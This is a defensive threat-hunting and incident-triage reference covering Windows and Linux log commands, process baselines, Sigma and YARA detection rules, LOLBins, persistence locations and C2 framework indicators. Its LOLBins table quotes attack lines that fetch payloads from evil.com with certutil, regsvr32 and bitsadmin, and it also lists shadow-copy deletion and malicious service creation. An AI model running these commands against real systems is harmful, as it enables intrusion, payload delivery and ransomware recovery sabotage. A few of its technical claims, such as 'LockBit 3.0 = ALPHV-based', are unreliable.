grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn # Brute force IPs
grep "Accepted publickey\|Accepted password" /var/log/auth.log # Successful logins
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head # Top IPs in access log
grep -E "40[0-9]|50[0-9]" access.log | awk '{print $7}' | sort | uniq -c | sort -rn # Error URLs
journalctl -u ssh --since "1 hour ago" # SSH events (systemd)
ausearch -m USER_LOGIN -ts recent # Audit log loginsWindows command-line tools are essential for triage, lateral movement investigation, and live response on Windows endpoints. These commands cover process enumeration, network state, service inspection, and registry queries — the same tools both administrators and attackers use. Pair with Sysmon Event 4688 process creation logs.
:: System info
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Domain"
whoami /all :: User, groups, privileges
net user %USERNAME% /domain :: AD user details
wmic product get name,version :: Installed software
:: Network
netstat -ano :: Connections with PIDs
netstat -ano | findstr ESTABLISHED :: Active connections only
ipconfig /all :: Network config with MAC
:: Processes
tasklist /svc :: Processes with hosted services
wmic process get name,processid,parentprocessid,commandline :: Full process info
Get-WmiObject Win32_Process | Select Name,ProcessId,ParentProcessId,CommandLine
:: Event log (PowerShell)
Get-WinEvent -LogName Security -MaxEvents 100 | Where-Object {$_.Id -in 4624,4625,4648,4672}
Get-WinEvent -LogName System -MaxEvents 50 | Where-Object {$_.LevelDisplayName -eq "Error"}
:: Autoruns / persistence
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
schtasks /query /fo LIST /v | findstr /i "task name\|status\|run as"
| Flag | Description |
|---|---|
| /B | Match at beginning of line |
| /E | Match at end of line |
| /R | Use regex patterns |
| /S | Search subdirectories recursively |
| /I | Case-insensitive |
| /V | Print lines that do NOT match |
| /N | Print line numbers |
| /M | Print only filename if match found |
Understanding legitimate parent-child relationships is the #1 skill for process anomaly detection. Any deviation from this tree — wrong parent, wrong path, or wrong SID — is a red flag requiring investigation.
| Process | Expected Parent | Expected Path | Expected SID | Instances | Red Flags |
|---|---|---|---|---|---|
| smss.exe | System (4) | %SystemRoot%\System32 | S-1-5-18 | 1 (children exit) | Any parent other than System PID 4 |
| csrss.exe | smss.exe (exits) | %SystemRoot%\System32 | S-1-5-18 | ≥2 (one per session) | Wrong parent; user-writable path |
| wininit.exe | smss.exe (exits) | %SystemRoot%\System32 | S-1-5-18 | 1 | More than 1 instance |
| winlogon.exe | smss.exe (exits) | %SystemRoot%\System32 | S-1-5-18 | 1 per user session | Outbound network connections |
| lsass.exe | wininit.exe | %SystemRoot%\System32 | S-1-5-18 | 1 | More than 1 instance; network activity; misspellings (lsasss, lsaas) |
| services.exe | wininit.exe | %SystemRoot%\System32 | S-1-5-18 | 1 | More than 1 instance; child processes (except svchost) |
| svchost.exe | services.exe | %SystemRoot%\System32 | S-1-5-18/19/20 | Many | Parent ≠ services.exe; no -k flag; any other path |
| explorer.exe | userinit.exe (exits) | %SystemRoot% | Logged-on user | 1 per user | Network connections; spawning cmd/powershell directly |
| dwm.exe | winlogon.exe | %SystemRoot%\System32 | S-1-5-90-0-x | 1 per session | Wrong SID (should NOT be S-1-5-18) |
| taskhostw.exe | svchost.exe | %SystemRoot%\System32 | Varies | Multiple | Wrong path; spawning network connections |
| RuntimeBroker.exe | svchost.exe | %SystemRoot%\System32 | Logged-on user | Multiple | Running as SYSTEM; spawning children |
File extensions appended by ransomware. Alert on file rename events matching these patterns — especially mass renames of common file types.
| Extension | Ransomware Family | Notes |
|---|---|---|
| .wcry / .wncry | WannaCry | 2017 global outbreak; EternalBlue (SMBv1); ~200K victims |
| .crab / .KRAB | GandCrab v1/v4+ | RaaS; retired 2019 but successors persist |
| .dharma / .cezar | Dharma (CrySiS variant) | Still active; primarily via RDP brute-force |
| .onion | Dharma (variant) | Uses .onion extension — not to be confused with Tor domains |
| .locky / .zepto / .thor / .aesir / .osiris | Locky variants | Delivered via malicious Office macros (2016–2017) |
| .cerber / .cerber2 / .cerber3 | Cerber | RaaS; audio ransom note |
| .micro / .xxx / .ttt / .vvv / .aaa | TeslaCrypt 3.0+ | Decryptor released by authors in 2016 |
| .cryptolocker | CryptoLocker | Original 2013 ransomware; disrupted by Operation Tovar |
| .spora | Spora | Offline encryption (no C2 required); HTML ransom note |
| .wallet / .purge / .globe | Globe / GlobeImposter | Multiple variants; still active |
| .sage | Sage 2.0 | Uses UAC bypass; deletes shadow copies |
| .ryuk | Ryuk | Targeted enterprises; often follows TrickBot/BazarLoader |
| .lockbit / .abcd | LockBit | Most prolific RaaS 2022–2024; LockBit 3.0 = ALPHV-based |
| .hive | Hive | Disrupted by FBI in Jan 2023; decryptor released |
| .pubg | PUBG Ransomware | Proof-of-concept / prank; decrypted by playing the game |
vssadmin delete shadows /all.svchost.exe is the most impersonated process in Windows malware. Each instance should host known services with a documented parent of services.exe. Deviations — wrong parent, wrong path, no services, or network connections — are high-fidelity indicators of process injection or masquerading. Use this to investigate suspicious svchost behaviour in EDR telemetry.
svchost.exe NOT in C:\Windows\System32\ is almost certainly malware. Parent must always be services.exe. Legitimate svchost always uses the -k flag.svchost.exe -k UnistackSvcGroup :: Load all services in group svchost.exe -k UnistackSvcGroup -s WpnUserService :: Load single service from group :: Registry: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
| Indicator | Legitimate | Suspicious / Malicious |
|---|---|---|
| File path | C:\Windows\System32\svchost.exe | Any other path (temp, appdata, downloads) |
| Parent process | services.exe (PID 4 for System) | cmd.exe, explorer.exe, powershell.exe, wscript.exe |
| Command line | Includes -k flag with valid registry group | No -k flag, random arguments, or base64 encoded args |
| Network connections | Some expected (WSUS, Windows Update, DNS) | Connections to external IPs on unusual ports; beaconing |
| Digital signature | Signed by Microsoft Windows | Unsigned, self-signed, or signed by unknown publisher |
| SID | S-1-5-18 (SYSTEM), S-1-5-19 (LocalService), S-1-5-20 (NetworkService) | Running as a regular user account SID |
Sigma is a generic, open SIEM rule format — write once, convert to Splunk, Elastic, QRadar, Microsoft Sentinel, etc. via sigma-cli or pySigma.
title: Suspicious PowerShell Download Cradle
id: 3b6ab547-8ec2-4991-b9d2-2b06702a010d
status: experimental
description: Detects PowerShell download cradles commonly used by attackers for payload delivery
author: ThreatHunter
date: 2025/01/01
tags:
- attack.execution
- attack.t1059.001
- attack.defense_evasion
- attack.t1027
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\powershell.exe'
CommandLine|contains:
- 'Invoke-WebRequest'
- 'Invoke-Expression'
- 'IEX'
- 'DownloadString'
- 'DownloadFile'
- 'Net.WebClient'
- 'WebRequest'
- 'Start-BitsTransfer'
filter_admin:
User|contains: 'Administrator' # Tune based on environment
condition: selection and not filter_admin
falsepositives:
- Legitimate admin scripts (tune filter_admin)
- SCCM / Endpoint management tools
level: high
fields:
- Image
- CommandLine
- User
- ParentImage
YARA is the standard for malware classification — write rules that match on file content, binary patterns, or metadata. Used by threat intel teams, AV engines, EDR tools, and incident responders to hunt for malware families across endpoints and network captures. Use this when writing custom detection rules or analysing threat intel rule sets.
rule Ransomware_WannaCry_Generic {
meta:
description = "Detects WannaCry ransomware variants"
author = "ThreatHunter"
severity = "critical"
tlp = "WHITE"
mitre_attack = "T1486"
strings:
$ransom_note = "Wana Decrypt0r" nocase wide ascii
$killswitch = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" nocase
$svc_name = "mssecsvc2.0" wide ascii
$hex_eternalblue = { 45 52 52 4F 52 3A 20 43 61 6E }
condition:
uint16(0) == 0x5A4D and // MZ header (PE file)
filesize < 10MB and
(2 of ($ransom_note, $killswitch, $svc_name) or $hex_eternalblue)
}
rule Suspicious_PowerShell_Encoded {
meta:
description = "Detects PE files dropping base64-encoded PowerShell commands"
severity = "high"
strings:
$enc1 = "-EncodedCommand" nocase wide ascii
$enc2 = "-Enc " nocase wide ascii
$enc3 = "FromBase64String" nocase wide ascii
$ps = "powershell" nocase wide ascii
condition:
uint16(0) == 0x5A4D and
$ps and any of ($enc1, $enc2, $enc3)
}
Windows privileges control what actions processes and users can perform beyond standard file/object access. Several privileges are directly exploitable for privilege escalation or credential access. Use this section to understand why SeDebugPrivilege is so dangerous, what an attacker can do with each privilege, and how to audit privilege assignments.
| Privilege Constant | Display Name | Attack Potential |
|---|---|---|
| SeDebugPrivilege | Debug programs | CRITICAL — dump LSASS memory for credentials; inject into any process |
| SeImpersonatePrivilege | Impersonate client after authentication | CRITICAL — Potato attacks (JuicyPotato, RoguePotato, PrintSpoofer) |
| SeAssignPrimaryTokenPrivilege | Replace a process level token | HIGH — create processes with different tokens; priv esc |
| SeCreateTokenPrivilege | Create a token object | HIGH — forge arbitrary access tokens |
| SeTakeOwnershipPrivilege | Take ownership of files/objects | HIGH — take control of any securable object |
| SeLoadDriverPrivilege | Load and unload device drivers | HIGH — load malicious kernel drivers (BYOVD attacks) |
| SeBackupPrivilege | Back up files and directories | HIGH — bypass file ACLs; read any file including SAM database |
| SeRestorePrivilege | Restore files and directories | HIGH — write to any path; plant malware or replace binaries |
| SeTrustedCredManAccessPrivilege | Access Credential Manager as trusted caller | HIGH — access all stored credentials in Credential Manager |
| SeTcbPrivilege | Act as part of the OS | HIGH — bypass normal access controls; extensive system control |
| SeShutdownPrivilege | Shut down the system | MEDIUM — force reboots; DoS; interrupt forensic acquisition |
| SeNetworkLogonRight | Access this computer from network | MEDIUM — controls remote network authentication |
| SeRemoteInteractiveLogonRight | Allow logon through Remote Desktop | MEDIUM — controls RDP access |
The Windows Registry contains the most commonly abused persistence and configuration locations. Attackers write to Run keys, install services, and modify security providers to survive reboots. Use this section when hunting for persistence mechanisms — these are the first registry paths to check after detecting a suspicious process or binary.
| Registry Key | Purpose | Threat Relevance |
|---|---|---|
| Persistence / Autorun | ||
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | Programs run at startup for all users | Primary persistence location for malware |
| HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | Programs run at startup for current user | User-writable — common for user-level persistence |
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce | One-time startup entries (deleted after run) | Used by installers and malware droppers |
| HKLM\SYSTEM\CurrentControlSet\Services | Windows services configuration | Malicious service installation (Event 7045) |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon | Userinit, Shell values for logon process | Shell hijack: malware replaces explorer.exe here |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options | Debugger attachment for executables | Debugger hijack (accessibility feature backdoor) |
| Lateral Movement / Credential | ||
| HKLM\SYSTEM\CurrentControlSet\Control\Lsa | LSA security configuration | WDigest auth setting (plain-text cred caching). Check UseLogonCredential. |
| HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest | WDigest authentication provider | If UseLogonCredential=1, plaintext passwords cached in LSASS |
| HKLM\SAM\SAM\Domains\Account\Users | Local user account database (SAM) | NT hashes stored here; requires SYSTEM access to read |
| Network / C2 Indicators | ||
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost | Service host group definitions | Malware may add new groups here for persistence via svchost |
| HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings | Proxy settings per user | Malware may set proxy here to redirect traffic through attacker C2 |
Wireshark display filters allow you to isolate specific traffic patterns in packet captures. Use this section during network forensics to quickly surface C2 communication, credential interception, lateral movement, or exfiltration. Pair with the protocol reference to understand what normal traffic should look like before identifying anomalies.
## BASIC FILTERS ip.addr == 192.168.1.100 # Traffic to/from specific IP ip.src == 10.0.0.5 # From source IP ip.dst == 8.8.8.8 # To destination IP tcp.port == 443 # TCP port 443 udp.port == 53 # UDP port 53 (DNS) not arp and not icmp # Exclude noise ## HTTP / WEB http.request.method == "POST" # POST requests only http.response.code == 200 # Successful responses http.user_agent contains "curl" # Suspicious User-Agents http contains "password" # Credential exposure (cleartext HTTP) ## DNS THREAT HUNTING dns.qry.name contains ".onion" # Tor DNS queries (unusual) dns.qry.type == 16 # TXT record queries (tunneling indicator) dns.flags.rcode == 3 # NXDOMAIN responses (DGA hunting) dns.qry.name.len > 50 # Long subdomain = tunneling indicator ## SMB / LATERAL MOVEMENT smb2.cmd == 5 # SMB2 Create (file open/create) smb.cmd == 0x72 # SMB Negotiate Protocol tcp.port == 445 and tcp.flags.syn==1 # New SMB connections ## SUSPICIOUS BEACONING frame.time_delta < 0.001 # Too-fast retransmit (exploit traffic) tcp.analysis.retransmission # Retransmitted packets ip.dst == [C2 IP] and tcp.len > 0 # Data to known C2 ## CREDENTIAL / AUTH ntlmssp.auth.username # NTLM usernames in traffic kerberos.CNameString # Kerberos principal names ftp.request.command == "PASS" # FTP passwords (cleartext!) ## TLS INSPECTION tls.handshake.type == 1 # TLS Client Hello tls.handshake.extensions_server_name # SNI (Server Name Indication) tls.record.version == 0x0300 # SSLv3 (deprecated — alert!)
Windows Event Logs are the backbone of SIEM detection. Ensure these event IDs are forwarded to your SIEM. Enable advanced audit policy via GPO (auditpol).
| Event ID | Description | Detection Use |
|---|---|---|
| 4625 | Failed logon | Brute force: high volume from single source; especially logon type 10 (RemoteInteractive/RDP) |
| 4624 | Successful logon | Lateral movement: logon type 3 (Network) or 10 (RDP) from unexpected source. Check logon type and source. |
| 4648 | Logon attempt with explicit credentials | Pass-the-hash / runas / credential use; common in lateral movement |
| 4672 | Special privileges assigned to new logon | Privileged logon; watch for unexpected accounts receiving admin privileges |
| 4720 | User account created | Unauthorized account creation — backdoor persistence |
| 4726 | User account deleted | Evidence destruction or covering tracks |
| 4728 | Member added to security-enabled global group | Alert on additions to Domain Admins, Enterprise Admins |
| 4732 | Member added to security-enabled local group | Alert on additions to local Administrators group |
| 4756 | Member added to security-enabled universal group | Group membership change in universal groups |
| 4740 | User account locked out | Password spray / brute force indicator |
| 4767 | User account unlocked | Suspicious if unlocked immediately after lockout |
| 4771 | Kerberos pre-authentication failed | Bad password attempts (0x18 = wrong password). AS-REP roasting (0x17 = pre-auth disabled). |
| 4768 | Kerberos TGT requested | AS-REP roasting: look for pre-auth type 0x00 for regular user accounts |
| 4769 | Kerberos service ticket (TGS) requested | Kerberoasting: filter for RC4 (0x17) encryption type for service accounts |
| Event ID | Description | Detection Use |
|---|---|---|
| 4688 | New process created | Enable "Include command line in process creation events" GPO. Detect LOLBins, malicious child processes. |
| 4689 | Process terminated | Correlate with 4688 to detect short-lived malicious processes |
| 4698 | Scheduled task created | Persistence via Task Scheduler — alert on new tasks not in baseline |
| 4702 | Scheduled task updated | Existing task modified — possible persistence update |
| 4699 | Scheduled task deleted | Anti-forensics — attacker removing persistence before leaving |
| Event ID | Description | Detection Use |
|---|---|---|
| 7045 | New service installed (System log) | Lateral movement tools (PsExec) and persistence via services |
| 7036 | Service state changed | Unexpected service starts/stops — security tool tampering |
| 1102 | Security audit log cleared | Anti-forensics — attacker clearing evidence |
| 104 | System log cleared (System log) | Anti-forensics — log tampering |
| 4719 | System audit policy changed | Attacker may disable auditing to reduce logging |
| 4657 | Registry value modified | Persistence via registry modifications |
| Event ID | Log | Description | Enable via GPO |
|---|---|---|---|
| 4103 | PowerShell Operational | Module logging — full pipeline execution output | Enable Module Logging |
| 4104 | PowerShell Operational | Script block logging — full deobfuscated script content | Enable Script Block Logging ← Most valuable |
| 4105/4106 | PowerShell Operational | Script block start/stop | Enable Script Block Logging |
| 400/800 | PowerShell (legacy) | Engine lifecycle / pipeline execution (PS 2.0) | Default on older systems |
| Type | Name | Description | Credential on Disk? |
|---|---|---|---|
| 2 | Interactive | Local keyboard logon | Yes — credentials cached |
| 3 | Network | SMB, net use, WMI | No |
| 4 | Batch | Scheduled tasks | Yes — as service account |
| 5 | Service | Service startup | Yes — service account creds |
| 7 | Unlock | Workstation unlock | Yes |
| 8 | NetworkCleartext | IIS basic auth; cleartext password | Yes — cleartext in memory |
| 9 | NewCredentials | RunAs /netonly — local uses original, network uses new | Yes (new creds) |
| 10 | RemoteInteractive | RDP / Terminal Services | Yes — credentials cached on remote |
| 11 | CachedInteractive | Domain logon using cached credentials (offline) | Yes |
IOCs are artifacts that indicate potential malicious activity. Prioritize behavioral IOCs (TTPs) over atomic IOCs (hashes, IPs) — adversaries rotate hashes and IPs but TTPs are harder to change.
🌐 Network IOCs
- Known malicious IP addresses/ranges
- Malicious domain names (DGA patterns)
- Suspicious URLs and URI patterns
- Unusual DNS query types (TXT, NULL)
- Beaconing patterns (regular intervals)
- Self-signed certificates on suspicious IPs
- Tor exit node connections
📁 File IOCs
- MD5 / SHA1 / SHA256 file hashes
- Suspicious file names or extensions
- Files in unexpected locations (Temp, AppData)
- Unsigned executables in system paths
- Large base64-encoded data in scripts
- Files with mismatched extensions/magic bytes
⚙️ Host IOCs
- New/unexpected registry run keys
- Scheduled tasks not in baseline
- New services (especially from Temp path)
- Unusual parent-child process relationships
- LSASS memory read access (credential dumping)
- VSS deletion / shadow copy removal
- New local admin accounts
👤 Behavioral IOCs
- Logon outside normal hours
- Access to unusual file shares
- Mass file access or modification
- Data staging in compression archives
- Outbound transfers to cloud storage
- Admin tools used by non-admin accounts
- Lateral movement between workstations
Legitimate Windows binaries abused by attackers to execute code, download files, bypass defenses, or establish persistence — without dropping new executables. Reference: lolbas-project.github.io
| Binary | Abuse Technique | Example Command / Detection |
|---|---|---|
| certutil.exe | Download files, decode Base64, install certs | certutil -urlcache -split -f http://evil.com/p.exe p.exe — alert on -urlcache flag |
| powershell.exe | Download & execute, obfuscation, bypass AMSI | Monitor -Enc (EncodedCommand), -nop, -w hidden, IEX, Invoke-Expression |
| mshta.exe | Execute HTA scripts — HTML Application host | Alert on mshta.exe with remote URL argument; child process of Office apps |
| wscript.exe / cscript.exe | Execute VBScript / JScript | Alert on execution of .vbs/.js from Temp/AppData; child of Office, browser |
| regsvr32.exe | Execute code via .sct files (Squiblydoo bypass) | regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll |
| rundll32.exe | Execute DLLs and COM objects | Alert on unusual DLL arguments; execution from Temp or user-writable paths |
| wmic.exe | Process creation, lateral movement, persistence, recon | Monitor for WMIC process call create, wmic /node: (remote execution) |
| bitsadmin.exe | Download files via BITS (Background Intelligent Transfer) | bitsadmin /transfer job http://evil.com/file.exe C:\temp\file.exe |
| msiexec.exe | Execute remote MSI packages | Alert on msiexec /i http:// or execution of MSI from Temp |
| forfiles.exe | Execute commands against file sets — used to evade detection | Monitor forfiles spawning cmd.exe or powershell.exe |
| PsExec.exe (Sysinternals) | Remote process execution — primary lateral movement tool | Event 7045 (service install), ADMIN$ share access, Event 4624 Type 3 |
| net.exe / net1.exe | Recon — enumerate users, groups, shares, sessions | Monitor: net user, net group, net localgroup, net share, net session |
| vssadmin.exe | Delete shadow copies — ransomware anti-recovery | ALERT: vssadmin delete shadows /all — near-certain ransomware indicator |
| nltest.exe | Domain recon — enumerate DCs, trust relationships | Monitor: nltest /dclist, nltest /domain_trusts — common post-compromise recon |
| whoami.exe | Account recon — determine current privileges | Legitimate use exists, but chain with other recon commands = suspicious |
Attackers establish persistence to survive reboots and re-entry after credential changes. These are the most commonly abused locations — baseline them and alert on changes.
| Location / Method | Path / Command | Event ID |
|---|---|---|
| Registry Autorun | ||
| Run (All Users) | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | 4657 |
| Run (Current User) | HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | 4657 |
| RunOnce | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce | 4657 |
| Shell Replace | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell | 4657 |
| Userinit Replace | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit | 4657 |
| Scheduled Tasks | ||
| Task Scheduler | %SystemRoot%\System32\Tasks\ or schtasks /create | 4698, 4702 |
| Services | ||
| Windows Service | sc create malsvc binPath= "C:\evil.exe" | 7045, 4697 |
| Startup Folders | ||
| All Users Startup | %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup | File system |
| Current User Startup | %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup | File system |
| DLL Hijacking / Sideloading | ||
| DLL Search Order Hijack | Drop malicious DLL in app directory that loads it before System32 | Sysmon Event 7 (ImageLoad) |
| AppInit DLLs | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs | 4657 |
| WMI Persistence | ||
| WMI Event Subscription | EventFilter + EventConsumer + FilterToConsumerBinding | 5857, 5858, 5859, 5860 |
| Office / Application | ||
| Office Macros (Startup) | %APPDATA%\Microsoft\Word\STARTUP\ | File system |
| Browser Extensions | Malicious extensions in browser profile directory | File system monitoring |
Structured triage steps for investigating a suspicious endpoint alert. Work through each phase before concluding scope and severity.
| # | Action | Tool / Command |
|---|---|---|
| 1 | Identify alert source, rule name, and triggering data | SIEM alert detail |
| 2 | Determine host criticality (server/workstation/DC) | CMDB / asset inventory |
| 3 | Check if host is currently online and reachable | ping, EDR status |
| 4 | Review recent logon events on the host | Event 4624, 4625, 4648 |
| 5 | Review user's recent activity on other systems | SIEM search by username |
| 6 | Check user's normal working hours vs alert time | HR baseline / SIEM |
| # | Action | Tool / Command |
|---|---|---|
| 1 | List all running processes with parent relationships | tasklist /svc, EDR, ProcMon |
| 2 | Check for suspicious process parent-child chains | Compare against process tree diagram (§03.01) |
| 3 | Review all active network connections with PIDs | netstat -ano, EDR netconn |
| 4 | Correlate PIDs to processes — identify unusual outbound | wmic process where ProcessId=[PID] get commandline |
| 5 | Check recently created/modified files (last 24h) | EDR file events, forfiles /D -1 |
| 6 | Check autorun locations for new entries | Autoruns (Sysinternals), registry check (§03.07) |
| 7 | Review recently installed services and scheduled tasks | Event 7045, 4698; schtasks /query |
| 8 | Check PowerShell script block logs for encoded commands | Event 4104, PowerShell Operational log |
| # | Question | If Yes → |
|---|---|---|
| 1 | Is there evidence of active C2 communication? | Isolate host immediately; do not shutdown (preserve memory) |
| 2 | Is there evidence of credential dumping (LSASS access)? | Assume all credentials on host are compromised; reset all accounts |
| 3 | Is there evidence of lateral movement from this host? | Expand investigation to all destination hosts |
| 4 | Is there evidence of data exfiltration? | Escalate to critical; notify management; check DLP/proxy logs |
| 5 | Is there evidence of persistence mechanisms? | Full incident response — cannot simply reboot to resolve |
| 6 | Are multiple hosts affected? | Declare incident; activate IR plan; consider domain-wide password reset |
Production web applications sit behind multiple layers of edge infrastructure. Each layer has a distinct role, a distinct threat surface, and distinct metrics a CSOC analyst should watch. Understanding this stack prevents misclassifying normal failover behaviour as attacks — and vice versa.
- Attack traffic volume (Gbps / Mpps)
- Scrubbing centre utilisation %
- Clean traffic forwarded to origin
- Time-to-mitigate (TTM)
- Sudden multi-Gbps spike from many spoofed IPs
- NTP/DNS amplification — large responses to forged sources
- SYN flood exhausting upstream link capacity
- Clean traffic ratio drops — scrubbing overwhelmed
- Cache hit ratio (low = high origin pressure)
- Edge vs origin traffic split & offload %
- MISS rate spikes
- Traffic spikes absorbed vs forwarded
- Cache MISS spike — unique query strings bypassing cache
- High origin traffic from few edge nodes (scraper/cache buster)
- Sudden offload % drop — cache invalidation attack
- Requests
Cache-Control: no-cacheheaders
- Deny/alert count & deny rate trend
- Top triggered rule IDs & rule categories
- Top source IPs & ASNs
- Top targeted URLs & parameters
- Unusual / empty User-Agent strings
- Same rule from 100s of IPs — distributed scan
- Rapid cycling: SQLi → XSS → RCE rule categories
- WAF in alert-only mode on production
- 200 OK after rule trigger — possible bypass
- Bot score distribution — shift toward high bot scores
- Auth fail rate on login endpoints
- JS execution rate (non-executing = headless bot)
- Device fingerprint variance
- Credential stuffing: high volume, low latency, many usernames tested
- Carding: rapid checkout, small test amounts first
- Scraping: sequential traversal, no JS execution
- ATO: successful login from new geo/device post-stuffing
- Pool member health & DC availability
- Traffic distribution across datacenters
- DNS resolution latency
- Health check pass/fail rate & TTL values
- All traffic on one DC — validate with infra (may be failover)
- SERVFAIL spike — DNS flood or misconfiguration
- Unexpected failover with no known outage
- Low TTL + rapid IP changes (fast-flux pattern)
- Pool member availability & response time
- Connection count per pool member
- SSL handshake error rate
- VIP connection rate & persistence table size
- Connection table exhaustion — SYN flood against VIP
- One member at 100% while others are idle
- SSL handshake error spike (cert expiry or mismatch)
- HTTP profile errors on HTTP/S VIP (L7 attack)
| Threat Scenario | Primary Platform | Key Metric | Response Action |
|---|---|---|---|
| L3/L4 Volumetric DDoS | Akamai Prolexic | PPS/BPS, scrubbing utilisation | Engage Prolexic scrubbing; divert traffic; verify clean forwarding; monitor LTM connection table |
| L7 HTTP Flood | WAF + CDN | Request rate, cache MISS rate | Apply rate limiting on targeted URI; block source IPs; verify edge absorbing load |
| SQLi / XSS / RCE Attempt | WAF (Kona) | Rule trigger count, 2xx after block | Validate payload; escalate rule ALERT → DENY; block source IP/CIDR in network list |
| Credential Stuffing / ATO | Shape Bot Defense | Bot score, auth fail rate | Enforce MFA; rate-limit per IP/device on login; notify affected users |
| Cache Bypass Attack | CDN (Akamai) | Cache MISS rate, origin traffic | Review cache key config; strip unique query params via request normalization |
| DC Failover (GTM shift) | F5 GTM / GSLB | Health check status, DC distribution | Validate with infra/NOC — likely legitimate; monitor DR site capacity |
| Pool Member Down | F5 LTM | Pool health, response time | Alert infra team; verify load on remaining members; review app logs on failed member |
Command & Control frameworks manage compromised hosts post-exploitation. These are legitimate red team tools — but cracked and leaked versions are heavily used by ransomware groups and APTs. Knowing their default signatures, IOCs, and evasion techniques is critical for detection engineering. Note: "Sliver" (BishopFox) is a separate framework — not a component of Cobalt Strike.
- Default beacon check-in intervals: 60s (jitter ±30%)
- Default staging ports: 50050 (teamserver), 80/443/8080/8443 (listeners)
- HTTPS certs with invalid/self-signed or default Cobalt Strike OIDs
- JA3 fingerprint:
72a7c9feebf2d402dd4432ad7d37a441 - Artifact kit PE files:
artifact32.exe·artifact64.exe - DNS beacon: high-frequency DNS queries with random subdomains
- Sysmon Event 7: loading of
beacon.dllor unknown reflective DLL - Named pipe:
\\.\pipe\MSSE-XXXX-server - Process injection into common host processes (rundll32, svchost)
- JARM fingerprint detection via
jarm.py
- Default TLS cert: Subject CN contains random words (e.g., "phantom-cobra")
- Default listening port: 31337 (configurable)
- Implant names follow random adjective-noun pattern by default
- Go binary indicators: large PE size (5–15MB), Go runtime strings
- mTLS: mutual certificate authentication with self-signed CA
- DNS C2: subdomains with hex-encoded data in labels
- WireGuard tunnelled traffic on UDP (unusual for enterprise)
- Default HTTP User-Agent mimics legitimate software (configurable)
- Default teamserver port: 40056
- AMSI/ETW patching: memory write to ntdll.dll regions
- Sleep obfuscation: periodic RX→RW→RX memory region changes
- Indirect syscalls: stack anomalies — syscall not from ntdll.dll
- Named pipe:
\\.\pipe\Demon_XXXXXXXX
- Default reverse TCP listener port: 4444
- Meterpreter staging URL:
GET /[32 hex chars] - Reverse TCP: outbound from unexpected process to port 4444
- Meterpreter in memory: reflective DLL load, no file on disk
- Sysmon Event 8:
CreateRemoteThreadinto explorer.exe / notepad.exe - HTTPS Meterpreter: self-signed cert with default Metasploit OIDs
- "Badger" implant — delivered via process hollowing or DLL sideloading
- RC4-encrypted C2 traffic over HTTP/S with custom URI patterns
- Default server port: 443 with specific TLS fingerprint
- AMSI/ETW bypass: identical byte-patching patterns to Cobalt Strike
- Cracked license strings detectable in binary
- Default HTTPS port: 7443, HTTP: 80
- WebSocket upgrade for C2 channel — persistent WS connection
- Apollo (.NET): CLR loaded into unmanaged process
- Poseidon (Go): large Go binary, similar to Sliver indicators
- Athena (.NET): cross-platform, SMB/TCP named pipe C2
- PowerShell Event 4104: base64 stager with
System.Net.WebClient - Default staging URIs:
/index.asp,/login/process.php - RC4-encrypted HTTP with Base64-encoded body
- Default User-Agent:
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0) - Spoofed server header:
Microsoft-IIS/7.5
- Extremely long beacon intervals (minutes to hours) with high jitter
- Heavy sleep obfuscation — nearly invisible in memory scans
- Very few public IOCs — behavioural detection is primary method
- Focus on: anomalous process network activity, parent-child chains
| Framework | Type | Implant | Default Port(s) | Known Actors |
|---|---|---|---|---|
| Cobalt Strike | Commercial (cracked) | Beacon (shellcode) | 50050 / 80 / 443 | APT29, Lazarus, LockBit, BlackCat, most ransomware groups |
| Sliver | Open Source | Go binary (native) | 31337 / 443 | TA505, emerging threat actors (CS alternative) |
| Havoc | Open Source | Demon (shellcode) | 40056 / 443 | Emerging actors (2022+), APT-adjacent ops |
| Metasploit | Open Source | Meterpreter (reflective DLL) | 4444 / 443 | Commodity attackers, opportunistic, CTF |
| Brute Ratel C4 | Commercial (cracked) | Badger (shellcode) | 443 | TA577, NOBELIUM-linked, state-sponsored |
| Mythic | Open Source | Apollo / Poseidon / Athena | 7443 / 80 | Sophisticated red teams, emerging actors |
| PowerShell Empire | Open Source | PS1 / Python agent | 80 / 443 | APT33, FIN7, financially motivated groups |
| Nighthawk | Commercial | Nighthawk agent | 443 | Vetted red teams, nation-state adjacent |
| IOC Type | Indicator | Detection Source |
|---|---|---|
| Beacon interval | Default 60s with ±30% jitter — regular time-delta clustering | Proxy/firewall logs, NetFlow analysis |
| JA3 fingerprint | 72a7c9feebf2d402dd4432ad7d37a441 (default HTTPS profile) | Zeek / Suricata JA3 logging |
| TLS certificate | Default self-signed cert: C=Earth, ST=Somewhere, O=cobaltstrike (configurable) | TLS cert inspection, certificate transparency |
| Named pipe | \\.\pipe\MSSE-XXXX-server, \\.\pipe\postex_* | Sysmon Event 17/18, EDR pipe events |
| Staging URI | Short random path e.g. /aB3x followed by large response | Proxy logs, HTTP content inspection |
